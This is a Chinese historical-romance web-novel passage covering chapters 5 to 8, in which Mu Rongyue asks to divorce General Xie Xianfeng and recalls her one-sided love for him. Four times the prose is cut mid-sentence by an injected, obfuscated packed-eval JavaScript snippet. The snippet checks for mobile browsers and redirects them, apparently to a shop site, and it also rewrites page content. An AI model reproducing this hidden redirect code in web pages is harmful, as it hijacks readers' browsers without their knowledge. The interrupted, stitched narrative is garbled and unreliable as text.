“好了,夫人莫要哭了,”见到沈惠心哭得梨花带雨,慕昭元的心中也是酸涩不已,不禁搂紧了妻子,“眼下,咱们先听听月儿自己怎么说吧。” 沈惠心为慕溶月从宫中请来了最好的太医,为她看诊抓药,悉心照料。 在昏睡两日后,慕溶月终于清醒了过来。 次日,谢羡风的车马也抵达了公主府。 5. 单相思 慕溶月复苏之后的第一件事,便是跪在了那白雪飘扬的檐下。 迎春怜惜小姐的身子,想扶小姐回屋,慕溶月却执意要跪,谁说都不肯动。 寒风萧瑟之中,她颤抖地说:“这样才能叫我清醒,叫我深深记住今日的痛。” 隔着窗柩,沈惠心看着慕溶月形单影只地伫立在回廊下,逐渐与大雪融为了一体。 她胸口沉闷,却难以言表。 见到从前桀骜不驯、如春风一般明艳的慕溶月,如今却好似被拔去了利爪的小兽,奄奄一息。沈惠心不忍地闭上了双眼。 可嘴上,却还是吐露着锐利的话语。 “你不是总同我说,你和那混不吝好得很,叫我莫操心吗?” “怎么,如今倒知道同我低头认错了?” 慕溶月闻声抬眸,远远地见到沈惠心凭窗而望,两人目光交汇的瞬间,慕溶月郑重地行了个磕头之仪。 “母亲,是女儿错了。” “那时,若不是女儿一意孤行,谢羡风便也不会娶女儿为妻。如今,女儿想要亡羊补牢。” 慕溶月仍旧跪在地上,字字掷地有声。 “母亲,女儿想与谢羡风和离,请母亲成全。” 见状,沈惠心蓦地一痛。 许久,终是长长地叹了口气。 窗扇关上了,随之而来的是一阵由远及近的脚步。沈惠心停在了慕溶月跟前,亲自牵起了她冰凉的手,将她从地上扶了起来。 “有时,我都会想,是否我从小太惯纵你了,没有好生教导你人情冷暖,才会害你经受这样的一劫。” 暖意顺着指尖传递,慕溶月缓缓地抬起了头。 “你说要和离,我只问你一遍,”她望着女儿澄澈的双眸,“此话可当真?” 慕溶月没有急于回答,而是望向了头顶的飞雪,心绪不知觉飘到了好远。 她回想起了和谢羡风初遇时那天的光景。 初遇谢羡风,是五年前的事。那时的她,还不过是个不谙世事、娇惯任性的孩子。 那天不比如今的寒风肆虐,那是个阳光明媚、万里无云的日子。那时,表哥沈子钰来家中做客,身旁却带了个新的侍卫,正是谢羡风。 但当时的她,还无心注意这个眼生的侍卫,她被惯纵得任性妄为,只因自己心爱的玩偶被人弄坏,便动辄又哭又闹,弄得整个府内鸡犬不宁。 她还是个垂髫幼儿的时候,曾有次同母亲上街游玩,见到民间有人在卖很有趣的小泥人儿,便满心欢喜地挑了一个最可爱的。那小人儿穿着大粉袄,红面大眼,摇晃起来还会有银铃的脆响,很是讨人喜欢。这个泥塑的小人,她一玩便是三年,陪了她从幼学到豆蔻,早已变成了她珍惜的泥朋友。 可恰巧就在这一天,新来的丫鬟粗手笨脚,不小心将她的泥人碰在了地上,那泥头都被磕掉了半边,很是凄惨。 慕溶月对那小泥人儿有着亲密的情结,又气又恼,连着哭了好久,罚那不懂事的丫鬟去扫了三遍恭桶也不解气。 适逢沈子钰来家中做客,面对一桌的贵宾,她却还是大哭大闹,一点儿也不遮掩。沈子钰作为宾客,却只能夹在其间尴尬地笑。最后,就连沈惠心也开口责难她,说她被娇惯出了一身的臭脾气。还将她锁在后院中,不许她露面。 可慕溶月心里还是委屈,看着没了半边脑袋的泥小人,伤心得紧,泪水在眼眶里一抽一抽。 那时,所有人都当她是幼稚,是矫情。可只有谢羡风悄无声息地来到了她身边,认认真真地拾起那个裹满尘土的泥人儿。 他那时还不认识她,不知道她便是那显赫尊贵的长公主之女。他只是默默地问:“姑娘,你怎么哭得这么伤心?” 没有怪她娇横,也没有责备她乱发脾气。他丝毫没有轻视她的心意,反而郑重其事地取来泥土,亲手捏制了一顶泥人的帽子,来哄她开心。 “我为你的朋友做了一个笠帽,有些简陋,还望不要嫌弃。” 那斗笠正好盖住了泥人残缺的半边脸,她的泪水也终于止住了。 慕溶月抬起头,在他清澈的眼眸里,看见了她自己。她被他看见了,也只有他看见了她。 “你叫什么名字?” 这便是慕溶月对谢羡风说的第一句话。 后来,慕溶月托人四处打听,这才算是了解了这个名为谢羡风的男人。 那时,谢羡风虽年富力强、骁勇善战,却还不过是个世子身旁伺候的二等侍卫而已。和她的身份地位就像是云泥之别,相差甚远。 可是,她却以为,只有她看见了他心底的柔情。她那时坚信他与她不同,他自绝境而来,向阳而生,一步一步,步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205742|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步维艰,拼得皆是自己单枪匹马。 她以为,他身上,有她所稀缺之物。 不经世故的少女难抵情窦初开的朦胧,自此,她便不可自拔地沉沦在了爱河之中。 这一场单相思,她演了五年,是倦了。 到头来,终是她一人的独角戏。 慕溶月凝望着沈惠心的双眸,再一叩首,笃定不移地答:“母亲,我心意已决。我要与他和离。” 直到今日,慕溶月才终于明白。那时,她赌对了。 她押上她的一世芳华,堵他会有一个光明灿烂的未来——他没有让他失望。 从世子跟前的一个小小的侍卫,一步步走到如今镇国大将军的宝座,如今的他受万人景仰,功成名就。 然她却又赌错了,错得彻底。 这五年来,他一次都没有爱过她,一次都没有。 一步错,步步错,最后满盘皆是输。 “我明白了。” 沈惠心拢着慕溶月的手心,语气也柔和了许多,“我的口信已经带到。明日,他便会过来了。到了那时,你尽管与他去谈,母亲会为你做主。” *** 将军的车马不日便抵达了京城。 今日大雪终于停了,云开雾散,风和日丽。 斜阳未时,马车停在了公主府前。谢羡风从车轿上侧身而下,他穿一件青色半袖裘衣,腰间悬着佩剑,勾勒出宽肩窄腰,行走时带起阵阵清风。 谢羡风先是去了正堂,去向沈惠心夫妻请安。 “下官见过慕将军、长公主殿下。” 瞧见谢羡风恭敬地单膝跪在地上,慕昭元心中却感慨万分。 这么多年了,谢慕两家虽结为姻亲,但谢羡风却始终对他们以上下级官位相称。慕昭元他早就该瞧出一些端倪了。 慕昭元扭过头,见沈惠心已将不满挂在了脸上,又嗤之以鼻地转过身去:“本公主乏了,你们慢慢聊吧。” 沈惠心借故离开了,慕昭元内心五味陈杂,便问谢羡风:“月儿病了足有半月,你可知情?” 谢羡风的神色微微一变,很快,又恢复如初。 “下官近日忙于救赈灾情,此事,是下官的疏忽。” 慕昭元叹了口气。 “罢了。她就在里屋等你,你快去看看罢。” 6. 我们和离 谢羡风跟在领路丫鬟的身后,他面上不露声色,心底却渐升起一股迟疑。 他对慕溶月所住清月阁的去路并不熟悉,因为他鲜少踏足长公主府。即便是在与慕溶月成婚之后。 印象中,他只在成婚后的第一年陪同慕溶月来过一次。不止是他,三年间,慕溶月自己归宁的机会也屈指可数。 新婚时,他待慕溶月冷淡,慕溶月也为此生过不少事端。 但闹到了母家,这还是头一回的事。 那时,慕溶月的亲信丫鬟托人寄来家信,说主子染上了风寒,描述得天花乱坠。他不以为意,只觉这是她争宠的伎俩罢了。 他奉圣上之命北上赈灾,这一去便是半年。他离家这样久,又将慕溶月孤身一人扔置在这空冷的将军府里,他以为,她是在与他置气。 毕竟,这样的事,从前也发生过。 那时,他北伐征战,一走便是九月。起初,她还在家中静静地守着他归来,直到后来,她无意间发现他在外面安了个家,平定动乱后,他一直住在千里之外的外院里,也不愿意回家来看她一眼。 他承认,他刻意在避着她,不想见她。 慕溶月得知此事后,哭得昏天黑地。她流着泪将屋子里所有东西悉数砸烂,说他要将她逼疯。她将自己锁在房中,以绝食威逼,滴水不进,什么手段都用尽了,最后还拿回娘家一事来胁迫他,逼他搬回将军府与她团聚。 谢羡风素来不受威胁,吃软不吃硬。便对慕溶月的痴狂置之不理。就这般晾了她三天。后来,她还不是败下了阵来,最后什么也没做,便默许了他移居外院的行径。 于是,这一次,谢羡风便以为,她也只是故技重施罢了。 清月阁到了。 领路丫鬟为谢羡风掀开暖帐后便福身离开了。谢羡风弯腰进了里屋,见到一个模糊的人影正独坐在长椅之上。 闻声,慕溶月缓缓移过了脸。 谢羡风的目光倏地滞了一瞬。 一别半载,她变了许多。 她清减了,单薄的身子在冗长的裙袍之中撑着,弱不禁风的腰肢好似不堪一握。双目无神,面颊也呈现出病态的苍白……毫无生气,仿佛一件濒死之物。 看见他来,慕溶月眼光里再没了从前的那般愉悦欢欣,而只是淡淡地侧过身子,动了动干裂的薄唇道:“谢将军,坐吧。” 直到这时,谢羡风才恍然地意识到,原来,她是真的病了。 在他的眼中,她从来都是任性妄为、张扬跋扈的。 如今,这是他第一次见她这般模样,判若两人,满目凄楚。仿佛蜕了一层皮,被浪冲上岸而搁浅的鱼。 谢羡风不禁动容了几分,话到唇边也逐渐软了下来。 “我会去宫中找位太医来,治好你的寒症。” 他正要心软,慕溶月却骤然冷下了脸,打断道:“不必劳烦谢将军了,母亲已为我寻来了郎中。” 话语之间,竟多出了一丝生分和疏离。 谢羡风先是一愣,还没等他反应过来,慕溶月便又缓缓道。 “谢将军,我们和离吧。” 谢羡风的眼底划过一丝诧异。 “从今往后,你自由了,你可以去找你的盈姑娘了。” 慕溶月说这话时,面色凝重而平静。随着话音落下,她的眼底也染上了几分如释重负,终而归于宁静,宛若巨石沉底后的水波不兴。 谢羡风一言未发,只在她提及“盈姑娘”时,太阳穴突突地跳了一下。 直到她话音方落,谢羡风蓦地拧起眉头,脸色再度阴沉了下来。 “你想说什么?” 他的语气带着一丝凛厉的质疑,仿佛在讽刺她的别有用心,咄咄逼人地反问,你怎敢旧事重提? 慕溶月如今已经不会再被他的冷漠所伤了。 她的心口早已被破开了一个洞,沉坠得像灌满了冷铅。现在再看见谢羡风那冰冷刺骨的眼,她的心中已经不会再有任何的波澜了。 于是,她抬首,静静地注视着他的双眸,正色沉声地又重复了一遍: “谢羡风,我们和离。” 这一次,是不容拒绝的口吻。 “从今日开始,我会搬回公主府。你与我,就此别过。” 谢羡风方才还酝酿出对她的那一丝同情,瞬间烟消云散。 他未曾想,慕溶月会闹得愈来愈过分。如今光是嘴上威胁还不够,这一回,竟是回到了母家,妄图搬出长公主的头衔来压他,甚至还打上了和离的幌子,来逼他就范。 难道,她演这一出,只为了他能离开别院,搬回家中居住吗? 谢羡风缄默了许久,忽而轻笑了出声。 “也好。” 这便是同意了。 他眉宇间的愠恼一扫而空,取而代之的是一分戏谑:“你说要搬回来,那我明日便叫人从将军府将你的东西收拾出来,送回这里。可好?” 见妻子要分家,谢羡风不但没有挽留,反倒亲自赶起了人。虽说知道他这是气话,但就连一旁的杏雨也看不下去了,慕溶月却神色不变,云淡风轻地摇首道。 “无妨,不过是些身外之物,没什么要紧的,就不必谢将军费心了。” 最后,她款款起身,步子停在了他跟前,扬起额首来,一字一顿道:“谢将军,你与我之间,从今往后,便两清了。” 谢羡风居高而视,不禁失笑。 “好一个两清。” 说完,他便不再多言,扭身就要离去。杏雨便放下了手中活计上来扶着慕溶月,低声问她:“小姐,咱们真的不再回将军府了吗?” 慕溶月没有做声,只是看见谢羡风的背影一直大步流星出了门檐,这才忽地开口。 “慢着。” 谢羡风的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那嬷嬷吓得跪在地上,连连辩解:“不是奴婢不从,只是府里的绣女大都已染上寒病告假了,咱们实在是没有人手啊……” “这倒霉玩意儿,一个个的都病垮了,也不知道是从哪儿传来的晦气!” 叶萤一面含沙射影地骂着早已走了的慕溶月,一面气得将暖炉摔在了地上。那雪地里被砸出一个浅坑,嬷嬷看了好一阵心疼,手忙脚乱地将暖炉捡了起来,捂着冻得发紫的手。 看到了这里,李衡终于忍不住了,三两步便冲到了那叶萤跟前,一手捂着腰间的佩剑:“大胆!竟敢对夫人不敬。” 叶萤哪见过这场面,顿时吓得花容失色,差点瘫软在地。又亲眼见到谢羡风在众侍卫的簇拥下走了出来,叶萤顿时换上了另一幅脸孔,挤出一个讨好的笑,颤声道。 “将、将军,是将军回来了啊……” 7. 她的金簪 玉笙居内,嬷嬷们跪在地上,声泪俱下地向主君回话。 “这雪灾封了路,咱们府上几十口人,吃穿用度却只出不进,粮仓本就告急了。这叶姑娘又娇嫩,硬是让奴婢们把炭火都集中到了她屋子里,这才弄得偏院里暖气熏天,旁屋都是冰天雪窖一般。” “胡闹!”刘彰不禁厉色呵责道,“你们也是个没分寸的,竟然纵着她这样瞎闹!” “奴婢们不敢,奴婢们知错……” 奴仆们连忙跪地请罪。李衡趁乱偷看了一眼谢羡风,后者则沉着脸。 李衡顿时会意,又抓起一个奴婢质问起来:“方才我见那叶姑娘身后还跟着四个丫鬟、三个嬷嬷在伺候,怎的她排场这样大,都快赶上主子了?” “那些人都是夫人亲自调去伺候叶姑娘的。除了奴仆婆子,夫人还把自己的那一份炭火和份例都挪给了叶姑娘,还送了叶姑娘不少金银珠器呢!”嬷嬷赶紧解释起来,“夫人临走前,特意叮嘱了奴婢们,一定要把叶姑娘伺候周到了,说这是将军的吩咐,奴婢们这才不敢怠慢。” 话音落下,全场陷入了僵持之中。 “她为了与我赌气,还真是什么也做得出来。”谢羡风的面色犹如乌云压顶,嗤地一声,继而将手中的茶盏放在了桌上,“……幼稚至极。” 她依旧没变,还是同以前一样的任性。 李衡看了一眼刘彰,刘彰又看向了地上的嬷嬷,圆场道:“你想说什么,尽管说罢。” “奴婢只想说……这雪灾眼见着也没个头,夫人那会子都还病着,连炭火都是省着用的,生怕今日用多了,明日便不够了。最艰难的时候,她连热水也是抿着喝的,省下来的留给奴婢们取暖用。夫人身子本就弱,那夜里传来嘶哑的咳嗽声,连奴婢们也觉着心疼……”嬷嬷声情并茂地描绘着,连尾音也带上了哭腔,“可自从夫人走后,叶姑娘便把那好炭都搜罗去了她院子里,成日挥霍无度,奴婢们实在是心疼,左盼右盼,主君可算是回来了!” 她话一落下,旁边几个丫鬟纷纷开始为慕溶月说起了话。其实她们早就对叶萤憋了满腹的牢骚,只是苦于家主不在,一番苦水无人倾倒。这会子,都赶来主君面前告状了。 这些妇人你一言、我一语,仿佛有告不完的罪状。谢羡风夹在其中,只觉头也疼了,比战场上的刀剑声还要聒噪。 “我知道了,你们先下去吧。”他揉着眉心,指腹在桌面上轻点,“刘彰,你去把那姑娘叫来。” 刘彰领了令,扭头便离开了。丫鬟们相视一眼,也纷纷行礼道:“那奴婢们就先告退了。” 半刻钟后,叶萤这才忸怩地来到了玉笙居。 并非是她目中无人、存心拖延,而是方才她回房去沐浴漱洗、好生梳妆打扮了一番。不仅换上了一套修身的流苏罗裙,更是浓妆艳抹,将面庞装点得姹紫嫣红。 “将军大人,”她见到谢羡风,含羞露笑地朝他贴拢而来,已浑然不见了方才的市井泼辣之气,“方才在院子里……是民女失礼了,将军大人请不要放在心上啊。” 谢羡风垂眸,冷淡的目光在她身上一扫而过。 只见她满头珠玉,好似一夜乍富,恨不能将满目珠翠堆砌在身,倒显得俗不可耐。 还有那件低胸薄裙,衬得那一抹肉色呼之欲出。藏着什么样的心思更是昭然若揭。 谢羡风只睨了一眼叶萤,便感到一阵头疼,忽然有些后悔当初将她临时带回家的决定了。 那日,他路过临州郊外的一个村落,路上见到叶萤衣衫褴褛地躺在雪里,脸颊冻得青紫。若他不插手,她是断然活不过今夜的。他这才叫刘彰去裹了厚衣将人扛上了车。一路上,叶萤痛哭流涕,说自己无家可归。谢羡风忙于公务,一时寻觅不到周转地,这才将人带了回家,本想着临时过渡几日,却没想到,这乡野村妇能给自己生出这样的祸事来。 谢羡风心烦意乱道:“你去收拾一下东西,明日我便差人送你回去。” 叶萤一下子傻眼了,“回去?回……回哪儿啊?” “回你自己家。” “啊,这么快,就要回去了啊……”叶萤终于明白,谢羡风这是在给她下逐客令呢。她的贵女梦还没做够,登时不舍地拉住了谢羡风的衣袖一角,哭着祈求他,“谢将军,求您别这么急着赶萤儿走,萤儿会唱小曲儿,不如将萤儿留在您身边,就当是个闲时解闷打趣儿的,可好?” 谢羡风无动于衷,只有她在自称自己“萤儿”时,乌眸有转瞬的寒意,但也只是一晃而过,很快便恢复如常了。 谢羡风正欲起身,目光忽地瞥见了叶萤发髻上插着的那枚金簪,莫名的感觉有几分眼熟。 他微蹙眉心,看得仔细了些。那叶萤便红透了脸,扮出一副娇羞的模样。谢羡风却是抬起手,直直地将她头顶上的簪子取了下来。 她的发髻瞬间滑落,青丝披散,狼狈万分,“谢将军,你这是……” 谢羡风的眼神逐渐加深。 “你这簪子,从哪儿来的?” 叶萤还以为他误解自己偷来的金簪,忙不迭解释起来:“这簪子原本是夫人的。只是,夫人见到了我,便说这金簪子配我,主动赏赐我了,我还没来得及亲口感谢夫人如此割爱呢!” 谢羡风久久不语,像是从唇边轻哼了一声,叶萤便连忙跪地道:“这是千真万确,民女不敢欺瞒将军大人!” 谢羡风不再多言,将簪子放在了桌上。 他想起来了。 这枚簪子,是她出嫁那日头顶所戴的。 这么多年了,他也只见她戴过那么一次。平时总是收在深柜里,谁也不让碰。 如今,她也舍得把这金簪拱手让人了。 谢羡风的眉头越拧越紧,他下意识地察觉有一丝不对劲,却又说不上是哪里。 直到他来到了碧花轩,推开了慕溶月寝房的门。 一进门,一股寒气便直涌而上。屋内安安静静的,所有器具都摆放整齐,好似已经很久没有人待过一般。 桌上放着一封信。 谢羡风亲自拆开,只有两行字: “解怨释结,更莫相憎;一别两宽,各生欢喜。” 他认出了,那是慕溶月亲笔的字迹,工整隽永。谢羡风攥着那薄薄的一张纸,眼前仿佛能浮现她当时红着双眸颤着手,凭栏提笔的模样。 她是带着何种的心情写下这两行字的呢。 信的旁边,还有一枚陈旧的香囊。 金边银线绣着的鸳鸯的纹样,还有那一枚洁白的玉佩。 他认得这枚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205744|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香囊。那是她多年前,亲手绣制赠予他的。与记忆之中唯一不同的是,如今它被剪成了两半。 里面的香料倾漏一地,有些早已斑驳生霉。 而玉佩也被摔碎,布满道道裂痕。 那被剪的裂口平整,慕溶月亲手剪碎这香囊时,没有带着一丝的犹豫。 谢羡风伸出手,拾起那破碎的香囊。他的一半身子被隐匿在了阴影之中,神色晦暗如深。 空气中只剩下了死一般的寂静。 *** 清月阁中,夜色渐沉。 慕溶月伏在窗栏上,望着月明星稀,忽然问起,“杏雨,你还记得,我送给谢羡风的第一件礼物是什么吗?” 杏雨一面喂她汤药入喉,一面答道:“我记得,是小姐亲手缝的香囊。那本是小姐赠予谢将军的护身符。后来,小姐把它留在了将军府。” 慕溶月点了点头。 那时,她还是个未出阁的小娘子,而他还只是个王爷跟前的二等侍卫。 …… 五年前。 公主府,荷花池旁。 京城的文人墨客、王公贵族大多聚集于此,赏花品茗,吟诗醉酒。一片欣欣向荣的景象。 从人群之中,走出来一个笔挺的公子,正是声名在外的桓王世子沈子钰,便也是慕溶月的表哥。 他停在了竹林的石桌前,勾唇一笑,温文尔雅。 “月儿,你怎的躲在这里?让我一番好找。” 慕溶月正折着纸鸢,一双纤纤玉手抚着油纸的皱褶,连眼皮也没抬。她身旁服侍的丫鬟杏雨连忙起身行礼:“见过沈大人。” 一对指节扣在了纸鸢之上,生生打断了慕溶月的视线。她只好微挑起眉,顺势也抬首望去。 “是不是母亲让你来的?” 她忽地轻哼了一声,以表不满地撅起嘴,“我来只是躲个清净,那些人话里有话,我不爱听。” 慕溶月少不经事,自小便被长公主和驸马娇纵着,养得不谙世事,直率坦诚。 沈子钰无奈地苦笑了一下,“公主也是一番苦心。念着月儿到了及笄之年,该为月儿寻个如意郎君了。” 慕溶月不以为然地蹙起眉头,“我早说过,我已有心上人了。” 沈子钰顿了顿,语重心长道:“就算你没有那个心思,今日到场的也都是名士权贵,你也该经营几分,日后或许能用得上。” 慕溶月没有接话,满心思却装着旁的人。她俏皮地笑了一下。 “不说这个了。子钰哥哥,他来了吗?” 半月前,慕溶月主动同母亲提议设办一场春日宴。她知道,谢羡风是子钰哥哥的贴身侍卫,有子钰哥哥在的地方,十之八九他也会在。她不过是寻个由头见他一面罢了。却不承想,母亲会错了意,这才兴师动众地请来了这么多王公贵族,供她相看。 那些巧言令色、满肚里算计的官爷她一个也瞧不上,偏偏就相中了那个默默无闻、沉默寡言的小侍卫。 谢羡风。 沈子钰很快便会意,啼笑皆非地叹道,“自然是来了的。” 话音落下,一个颀长的身影便从竹影之间渐渐走了出来。 那男子一袭黑衣束身,斗笠盖住了漆黑如墨的眸子,显得清冷孤寂。 8. 香囊 “谢羡风,你来得正好。” 慕溶月的眼前一亮,迫不及待地站了起来,连神色也变得鲜活了几分,“你同我来,我有话要问你。” 说罢,她便拉着谢羡风腰间的佩剑,勾着他往一旁走去。一边走,还一边回头冲他生动地笑。 谢羡风没有回应,只是看了一眼身后的主君。而沈子钰只是叹着摇了摇头,谢羡风只好沉默地跟了上去。 直到周遭渐渐没了人影,慕溶月才逐渐停下了步伐。 他公务缠身,半年没有现身。她为了见他一面,费尽心思说服母亲办了一场春日宴,特地邀请了表哥一家,只为了和他重逢。 “阿羡,你好像瘦了些。”她望着谢羡风,连语气也不禁变得柔和了些,“没想到,上次见你,已经是元宵那日了。” 谢羡风停顿了一秒,垂下头,却是偏开了目光。 “慕二娘子,下官有公务在身。” 铺垫了这样久,如今终于扯到了这个话题,慕溶月佯装被提醒一般道:“噢,对了,公务。” 谢羡风这段时日尤其的忙。就连今日的春日宴,也是出差到一半,顺路才来露了个面。慕溶月知道谢羡风是个工作狂,一旦忙起来便会忘了自己是谁,于是试探地问:“我听子钰哥哥说,你下月很快要去扬州,去办一桩军械走私的案子,是不是?” 谢羡风轻微颔了首。 慕溶月心中有些许失落,想着这样一来,下次见面又该是几月后呢? 但面上,她反倒善解人意地开口宽慰道,“这案子涉及重大,一直是陛下的心头大患。若是办成了,你就是大功臣。”直到这时,慕溶月才故作自然地提起了她最在意的那个话题,“来,杏雨,把东西给我。” 杏雨应了声“好”,便从怀里掏出了一个小木箧,当着谢羡风的面打开,里面是一枚填了香草的香囊,还缀着一枚成色极好的玉佩。 这是慕溶月日日夜夜思念着他,亲手为他缝制的香囊。 为了这个香囊,她四处奔走,亲自择选布匹、香料,就连那香囊上的花纹,都是她跑了好几家绣坊才寻出来的最精妙的样式。 在送出这香囊前,她还有些忐忑不安,担心谢羡风不愿收。 “这香囊里满满的都是小姐的真心,”后来,还是杏雨百般鼓励她,“小姐这般用心,谢大人定会被小姐给感动的!” 于是,慕溶月终于鼓起了勇气。 微微一笑,将香囊取出,递在了谢羡风的手里:“哪,这个送给你。” 谢羡风下意识朝后退了一步,想要避开慕溶月的动作不及,却被她直接塞到了手里,一时蹙起眉头。 “据说,那些走私犯都是十恶不赦的亡命之徒,刀剑无眼,你一定要当心啊。”慕溶月却笑逐颜开道,“这个,就当是我为你祈福的平安符,保佑你一帆风顺。” 谢羡风摇了摇头,将香囊还给了她。 “二娘子,这太贵重了,我不能收。” 一旁的杏雨连忙道:“谢大人,这香囊一针一线皆是我们家娘子亲手缝制的,毕竟也是娘子的一番好心,您就收下吧。” 谢羡风却正色,拱手作揖道。 “慕二娘子的好意,谢某心领了。尽忠报国,谢某在所不辞。这是下官无须赘述的职责。” 杏雨手持着香囊,迟疑地看向慕溶月,后者沉默了几许,却忽而噗嗤一声笑了出来。 “这个……就当是我赏给你的。你要好生护着我的沈表哥,来日若是事成,我还有别的赏赐。” 杏雨心绪复杂地看向主子,她脸上那平淡的笑容里,分明藏着几分旁人不易察觉的苦涩。 好在,这一次,谢羡风没有再推脱。 “下官明白了。” 话音落下,慕溶月触在香囊上的手指颤了一下,神色晦暗莫深,终是将那香囊塞回了谢羡风怀里,扭头便匆匆离开了。 *** 那日之后,慕溶月便在家中苦等了三月,后来,果真有了谢羡风的消息。 这日,杏雨风风火火地掀开窗扇,迫不及待地唤道:“小姐,小姐,回来了!” 慕溶月如梦初醒,一个激灵便坐了起来,抬起手便要走。 “快收拾一下,为我备轿!” 杏雨也感同身受地欢笑道:“哎!” 漫长的三个月分别之期已到。慕溶月终是等不及了,恨不能立马就飞到谢羡风身边去。 她找了个去寻王兄沈子钰的幌子,便兴高采烈地踏上了去往王府的马车。甫一下车,便听闻王府门口有几个神色慌张的下人在推搡,“快去备水,好像有人受伤了……” “马上找人去传郎中呀……” 慕溶月蹙起眉头,本能地察觉不对,便拦住其中一个慌忙的侍卫。 “站住,你们刚才说谁受伤了?” “慕二娘子!”侍卫连忙俯身行礼,答道,“是侍卫长谢大人,他在执行任务时受了伤,手臂被毒镖刺中,现在还昏迷不醒,正往回赶!” 轰的一声,慕溶月好似被雷劈中,心口一抽一抽地疼痛。 “你说什么……” 杏雨也着急地追问:“那你们侍卫长现在人呢?” “呃,侍卫长的车马就在后面,应该就快到了……”侍卫见状,便试探地问了声,“大人找我们侍卫长,是有什么紧急事吗?” “少废话!”慕溶月清醒过来,已然红了双眼,拉扯着侍卫的佩剑便道,“你现在就带我去见——” 她话音还未落下,身后便传来一道稳重的脚步声。 “急什么?月儿,本王现在就在这里。” 慕溶月错愕地回头,撞见了沈子钰审视一般的目光。她瞬地哑口无言:“王兄……” “世子大人,您回来了。” “你们都退下吧。”沈子钰挥开侍卫们,独自领着慕溶月进了里屋,直到周遭再没了外人,他才终于再度开口,语气中是掩盖不住的严肃,“莽莽撞撞的,像什么样子?” 慕溶月自知理亏,方才是她失态了。她对谢羡风的担忧,的确显得太过异常。 “我只是想见一眼他。” 就连辩驳都是有气无力的,心虚地垂下了眼睫。 “知道你心急,但你也不要忘了自己的身份。在那么多侍卫仆从面前,你总追问谢羡风做什么?”沈子钰厉色冷言道,“月儿,你太不懂事了。” “我……不是故意的。”什么是非对错,慕溶月已经顾不上了。一听闻谢羡风受伤,她便魂不守舍,满心想的便全都是见他一面了,“好哥哥,你就带我去看一眼吧……只有亲眼瞧见了他没事,我才能安心。” “我知道。”沈子钰紧皱眉头,终是拿这个任性的表妹毫无办法,叹了一口气道,“……你且在这里坐着,我来安排。” 慕溶月立马老老实实地端正坐直。 “好,我等着便是。” 沈子钰走后不久,很快便有了消息。由他派来的人推门而入,朝慕溶月行了个礼:“大人,请随奴婢来吧。” 慕溶月被领着来到了一间厢房,推开门,看见谢羡风正昏迷不醒地躺在床上。 谢羡风躺在榻上一动不动,面色惨白,不省人事。他的右手臂被简易包扎过了,但仍旧有黑色的血丝渗透出来,看上去分外骇人。 慕溶月心头一哽,眼角也变得湿润了。 谢羡风在她面前从来都是沉静端庄的,这还是她第一次见到他这般脆弱的模样。 慕溶月靠近床沿,几次欲伸出手,最终却又无力地垂落下来。 “王兄,他怎么了?” 沈子钰的神色也有些肃穆。半晌,才低下头道。 “他是为了我才受伤的。” 慕溶月惊愕地扬起脸,“什么?” “那三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205745|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 支毒镖,本是冲我来的。但他眼疾手快,替我挡了。”回想起那时的场景,沈子钰至今仍心有余悸,“好在他动作迅猛,那支飞镖只斜着插进了他的手臂里,应该不会有生命危险。” 慕溶月从不知晓这任务竟这般危险,她身临其境一般害怕得颤抖起来,紧紧抱住沈子钰,“王兄,你没事真是太好了。” 沈子钰安抚了她一会,她便又忧心忡忡地望向了床榻之上。 “那,谢羡风他……” “我知道你想问什么。”沈子钰叹道,“陛下第一时间便得知了此事,他龙颜大悦,说破获军械走私一案,谢羡风是当之无愧的大功臣;加之舍命救人,便更是功德无量。他在二等侍卫一职上也待得够久了,到时候,不用我去请旨,升迁的通告不日便会下来的。” 慕溶月心头酸涩,却又有着劫后余生般的庆幸。 她当初随口一句叫他保护好沈子钰,没想到,他真的奉为圭臬。 千言万语,都化作一句。 “太好了。” *** 夜色渐浓,雨后的屋檐下滴着水珠。 屋内亮着一盏暖灯,照亮了床上寂然不动的男人。而慕溶月正坐在他身旁,借着星星点点的微光,仔细打量着他的眉眼。 她鲜少能有这样接近谢羡风的时机,所以便总是分外珍惜。一面担忧着他的身子,盼望他早点醒来;一面却又希望伴在他身侧的时间可以长些,再长些。 